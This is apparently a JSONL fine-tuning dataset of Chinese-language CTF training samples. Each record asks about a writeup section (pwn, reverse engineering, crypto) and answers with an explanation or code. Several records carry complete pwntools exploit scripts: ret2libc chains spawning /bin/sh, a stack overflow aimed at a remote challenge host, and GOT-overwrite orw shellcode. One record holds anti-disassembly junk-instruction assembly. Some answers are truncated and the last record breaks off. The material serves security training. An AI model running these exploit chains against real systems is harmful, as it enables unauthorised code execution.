{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d260f9c3a5590e31a24f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“[[NISACTF 2022]UAF]”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 接下来分析`edit`函数\n2. 函数通过输入相应`chunk`的标号来释放`chunk`，但是前面有一个检查，如果输入的标号等于零或大于`i`则不会执行修改程序。\n3. 最后我们分析`show`函数\n4. 程序通过标号查看相应`chunk`的内容，但是这里有一个非常关键的点。\n5. 如果我们输入的标号为0，则并不会执行查看`chunk`的功能。\n6. 但是会将`chunk`的内容作为函数指针执行。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1a8c7c9566e6b409", "original_line": 857, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "[[NISACTF 2022]UAF]", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1a8c7c9566e6b409", "source_split": "train", "split": "train", "split_group_key": "58bb18a1eaee985109944b3d", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d26ef775aa93fa23560d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[HarekazeCTF2019]babyrop”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [HarekazeCTF2019]babyrop\n关键词：p64、printf、libc、base、elf、ELF、payload、rdi、hex、sys\n蒸馏要点：\n- 利用printf函数泄露libc地址，然后进行ret2libc\n- 将`printf`函数的第一个地址设置为程序中已有的格式化字符串。\n可用于训练的标准回答：\n### [HarekazeCTF2019]babyrop\n\n#ret2libc #printf_plt\n\n2.\n利用printf函数泄露libc地址，然后进行ret2libc\n\n将`printf`函数的第一个地址设置为程序中已有的格式化字符串。\n\n3. exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc.so.6\")\n\nrdi=0x0000000000400733\nret=0x00000000004004d1\nrsi_r15=0x0000000000400731\narg1=0x400790\n\npayload=b'a'*40+p64(rdi)+p64(arg1)+p64(rsi_r15)+p64(elf.got.read)+p64(0)+p64(elf.plt.printf)+p64(0x400636)\nr()\nsl(payload)\n\naddr=u64(ru(b\"\\x7f\")[-6:].ljust(8,b\"\\x00\"))\nbase=addr-libc.sym.read\nprint(\"base\",hex(base))\nsys=base+libc.sym.system\nsh=base+libc.search(\"/bin/sh\\x00\").__next__()\nprint(\"system\",hex(sys))\nprint(\"sh\",hex(sh))\npayload=b'a'*40+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c84caef5d544584d", "original_line": 689, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[HarekazeCTF2019]babyrop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c84caef5d544584d", "source_split": "train", "split": "train", "split_group_key": "92234aea148c38eea9f5c845", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d2e574e6e4ef51ca36ac", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“processDeeplinkExpression”部分，提炼一条适合 SFT 的中文技术讲解样本（第 5 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / processDeeplinkExpression（第 5 段）\n关键词：expression、parts2、parts3、parts4、contains、String、split、length、try、firstNum\n蒸馏要点：\n- if (expression.contains(\"*\")) {\n- String[] parts2 = expression.split(\"\\\\*\"); // 乘号需要转义\n- if (parts2.length == 2) {\n- this.firstNum = Double.parseDouble(parts2[0]);\n- this.operator = \"*\";\n- this.input = parts2[1];\n- onEqual(null);\n可用于训练的标准回答：\n// 乘法\n        if (expression.contains(\"*\")) {\n            String[] parts2 = expression.split(\"\\\\*\"); // 乘号需要转义\n            if (parts2.length == 2) {\n                try {\n                    this.firstNum = Double.parseDouble(parts2[0]);\n                    this.operator = \"*\";\n                    this.input = parts2[1];\n                    onEqual(null);\n                    return;\n                } catch (NumberFormatException e3) {\n                    this.tvInput.setText(\"Invalid expression\");\n                    return;\n                }\n            }\n            return;\n        }\n\n// 加法\n        if (expression.contains(\"+\")) {\n            String[] parts3 = expression.split(\"\\\\+\");\n            if (parts3.length == 2) {\n                try {\n                    this.firstNum = Double.parseDouble(parts3[0]);\n                    this.operator = \"+\";\n                    this.input = part...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 4, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4d9413a543371594", "original_line": 896, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4d9413a543371594", "source_split": "train", "split": "train", "split_group_key": "b2c14804d3fa84cba4db7922", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d378881005e71b52e09e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“2024 网鼎杯 RE1”？请用《SM4 算法》中的内容回答。", "role": "user"}, {"content": "1. 下载附件拿到一个`apk`文件，jadx 打开分析，通过 xml 文件定位到`MainActivity`。方法名很乱，应该是做了混淆。\n2. 分析代码，找到按钮点击监听位置。\n3. 跟进`b`分析，发现了输入校验逻辑。\n4. 跟进分析`Check`，发现调用了 native 层的方法。\n5. 解压 apk 文件，分析`so`文件。\n6. 定位`validate`，", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9fc7f8cc26b6303f", "original_line": 893, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "2024 网鼎杯 RE1", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9fc7f8cc26b6303f", "source_split": "train", "split": "train", "split_group_key": "cdb852f7fd7ce974f71ca0c8", "tags": ["reverse", "crypto"], "title": "SM4 算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d4474fa0294b072db4fe", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“根据 format 和 s 在栈上的相对位置计算读取位置：(0x60 - 0x40 / 8) + 5 = 12”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. flag_addr = 12\n2. flag = ''\n3. while True:\n4. sla(b'Echo as a service', '%{}$p'.format(flag_addr))\n5. ru(b'0x')\n6. part = ru(b'\\n')[:-1]", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::058796906631bfaa", "original_line": 56, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "根据 format 和 s 在栈上的相对位置计算读取位置：(0x60 - 0x40 / 8) + 5 = 12", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "058796906631bfaa", "source_split": "test", "split": "train", "split_group_key": "a85533cb5401094509e33c6c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d44cb10046c962d7109f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“跳转指令构造花指令”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“跳转指令构造花指令”。\n代码片段：\n```\n__asm {\n         push ebx;\n         xor ebx, ebx;\n         test ebx, ebx;\n         jnz s1;\n         jz    s2;\n     s1:\n         _emit 0xC7;\n     s2:\n         pop ebx;\n     }\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::cdde8f656042b5fe", "original_line": 1031, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "跳转指令构造花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "cdde8f656042b5fe", "source_split": "train", "split": "train", "split_group_key": "0718a9a44ba93eddec087c5c", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d44d6734eeecc59e4553", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“EzStackOverflow”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / EzStackOverflow\n关键词：lambda、data、text、num、elf、recv、ljust、x00、ELF、recvuntil\n蒸馏要点：\n- 可以看到，题目一开始泄露了·fs·寄存器的地址，同时后面给出了7个字节的任意地址写（但限制了地址不能是0x0和0x8），因此可以更改tls 存放 canary 的值，从而实现 canary 的绕过。 后续打 ret2libc 即可。\n可用于训练的标准回答：\n### EzStackOverflow\n\n可以看到，题目一开始泄露了·fs·寄存器的地址，同时后面给出了7个字节的任意地址写（但限制了地址不能是0x0和0x8），因此可以更改tls 存放 canary 的值，从而实现 canary 的绕过。 后续打 ret2libc 即可。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg =...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::daf76caa946cc445", "original_line": 780, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "EzStackOverflow", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "daf76caa946cc445", "source_split": "train", "split": "train", "split_group_key": "9c1452c04b4d19723800bde6", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d48507c1ea8fb0fee4df", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“OpenSSL”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. | **函数**                                                                                                                             | **说明**                ...\n2. | `SSL_library_init()`                                                                                                               | 初始化 OpenSSL 库。\n3. | `SSL_load_error_strings()`                                                                                                         | 加载 OpenSSL 错误信息。\n4. | `SSL_set_fd(SSL *ssl, int fd)`                                                                                                     | 将 SSL 对象与文件描述符 `fd` 绑定。\n5. | `SSL_CTX_set_verify(SSL_CTX *ctx, int mode, SSL_VERIFY_CB verify_callback)`                                                        | 设置 SSL_CTX 的验证回调函数。\n6. | `SSL_CTX_set_default_verify_paths(SSL_CTX *ctx)`                                                                                   | 设置默认的证书验证路径。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0ceaba0f6f8b3133", "original_line": 710, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0ceaba0f6f8b3133", "source_split": "train", "split": "train", "split_group_key": "463c885ba63955fd80824a4c", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d56526ab16d9b19972fb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《RC4 算法》中“动态调试解RC4”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《RC4 算法》的“动态调试解RC4”。\n关联知识点：\n- 2024极客大挑战 让我康康你的调试\n- 分析代码，程序第输入进行了异或加密，然后将加密后的输入内容作为参数传入了`sub_14A6`，接下来我们跟进分析。\n- 很明显就可以看出来这是一个 rc4 加密算法，我们这里通过动态调试的方法来解这道题。\n- 首先我们将程序动态调试起来，然后输入一段符号输入要求长度的测试数据。\n- 本题代码中输入要求为 33 字节，我们构造一个 33 字节的字符串，将程序动态调试起来然后输入。\n代码片段：\n```\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3fb0e3f346c18f1d", "original_line": 886, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "动态调试解RC4", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3fb0e3f346c18f1d", "source_split": "train", "split": "train", "split_group_key": "5c4c590017627e7bf8e48dd5", "tags": ["reverse", "crypto", "ctf-method"], "title": "RC4 算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d5a4dee3f5c20bbf425a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[BJDCTF 2020\\]babystack”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[BJDCTF 2020\\]babystack”。\n语言/类型：python\n关联知识点：\n- 有符号数转无符号数\n代码片段：\n```python\nfrom pwn import *\nsh=remote(\"node4.anna.nssctf.cn\",28367)\npayload=b'a'*(0x10+8)+p64(0x4006e6)\nsh.recvuntil(\"name:\")\nsh.sendline(b'200')\nsh.sendlineafter(\"name?\",payload)\nsh.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b7f1b65259013c7f", "original_line": 848, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[BJDCTF 2020\\]babystack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b7f1b65259013c7f", "source_split": "train", "split": "train", "split_group_key": "2c38e069b0747ebd0b2e1d82", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d5c72bf390e56f801ed9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[HDCTF 2023]KEEP ON”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[HDCTF 2023]KEEP ON”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\nformat=b\"%16$p\"\nsa(b\"name: \\n\",format)\nru(b\"hello,\")\nleak_ebp=int(r(14),16)\nsuccess(hex(leak_ebp))\n\ntarget=leak_ebp-0x60-8\nleave=0x4007f2\nrdi=0x00000000004008d3\nsys=elf.plt.system\nsh=target+32\npayload=p64(rdi)+p64(sh)+p64(sys)+b\"/bin/sh\\x00\"\npayload=payload.ljust(80,b\"a\")+p64(target)+p64(leave)\n\nsa(\"keep on !\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::91f0b24f6f135f47", "original_line": 1001, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[HDCTF 2023]KEEP ON", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "91f0b24f6f135f47", "source_split": "train", "split": "train", "split_group_key": "81415ab791d9c9ce0c531335", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d66cd1a8da5d822f2e0b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Base64》中“魔改”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Base64》的“魔改”。\n语言/类型：python\n关联知识点：\n- BUUCTF 特殊的 BASE64\n- 换表就是将映射的编码表修改掉，但是加密过程是仍然不变的。\n- 前面讲过base64编码最关键的点在于根据值取编码表中的下标对应的字符。\n- 魔改编码表同样如此，所以我们可以获取密文在魔改编码表中的下标。然后获取下标在原编码表中的值之后。\n- 再进行常规解密。\n代码片段：\n```python\nimport base64\nimport string\n\n#密文\nenc = \"mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI==\"\n\n#魔改后的编码表\ntable1 = \"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+\"\n\n#原编码表\ntable2 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\n#将密文映射为原编码表\na=enc.translate(str.maketrans(table1,table2))\n\nprint(base64.b64decode(a).decode())\n\n#[FLAG_REDACTED]\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::61560e628aea9313", "original_line": 976, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "魔改", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "61560e628aea9313", "source_split": "train", "split": "train", "split_group_key": "cbef7627bf5ebde654fff8ae", "tags": ["reverse", "crypto", "ctf-method"], "title": "Base64", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d6957366e38c4a5ca21d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“符号化输入”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. 符号执行首先要将程序的输入替换为符号变量，而是表示一个不确定的集合，即它们可以取多个可能的值。，符号变量不仅可以表示未知数，还可以用于表达任何一个可能的值。\n2. 比如在下例代码中，用户输入了两个整型`x`和`y`。`x`和`y`可能是任何值，即都是未知数。\n3. 我们对这个程序进行符号执行，首先将`x`和`y`替换为符号变量。\n4. 由于`x`和`y`都是整型，所以我们要定义两个整型的符号变量", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::78d18e57e8ef9121", "original_line": 716, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "符号化输入", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "78d18e57e8ef9121", "source_split": "train", "split": "train", "split_group_key": "d181b2c8e30817184a22ab62", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d6d1b59f153206f75ea1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“分析”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。", "role": "user"}, {"content": "1. ida打开看到我们插入的花指令，\n2. 分析代码，`call s`直接跳转到`s`并将下一行代码入栈。\n3. 则`0x83h`永远不会被执行，并且将其地址入栈。\n4. `add`指令将栈顶数据即`0x83h`地址加上8，则栈上地址为`0x115e`。\n5. 经过`retn`指令后，执行流直接跳到`0x48h`。\n6. 所以`0x48h`是执行指令的一部分，我们将`0x48h`及其后面的`0x8dh`解释为指令。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::dca97ed1d3a3e5d9", "original_line": 84, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "分析", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "dca97ed1d3a3e5d9", "source_split": "validation", "split": "train", "split_group_key": "15fc7d232531a8da7405f3e6", "tags": ["pwn", "reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d78144964279cd43e534", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“canaryorw”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“canaryorw”。\n语言/类型：python\n关联知识点：\n- 任意地址写修改 got 表打 orw。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\njmp_esp=0x40081b\nrbp=0x0000000000400c4b\ngot=elf.got[\"__stack_chk_fail\"]\n\nru(b\"journey\\n\")\ns(p64(0x400820))\n\ns(p64(0)+p64(got))\n\nru(b\"magic\\n\")\ns(p64(0x0000000000400a5f))\n\npayload=p64(jmp_esp)\nshellcode=\"\"\nshellcode+=shellcraft.open(\"flag\")\nshellcode+=shellcraft.read(\"rax\",0x601060,0x100)\nshellcode+=shellcraft.write(1,0x601060,0x100)\nshellcode=asm(shellcode)\npayload+=shellcode\nr()\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c1ea6d0ad93b1796", "original_line": 709, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "canaryorw", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c1ea6d0ad93b1796", "source_split": "train", "split": "train", "split_group_key": "004d598eb1940f95b512823c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": 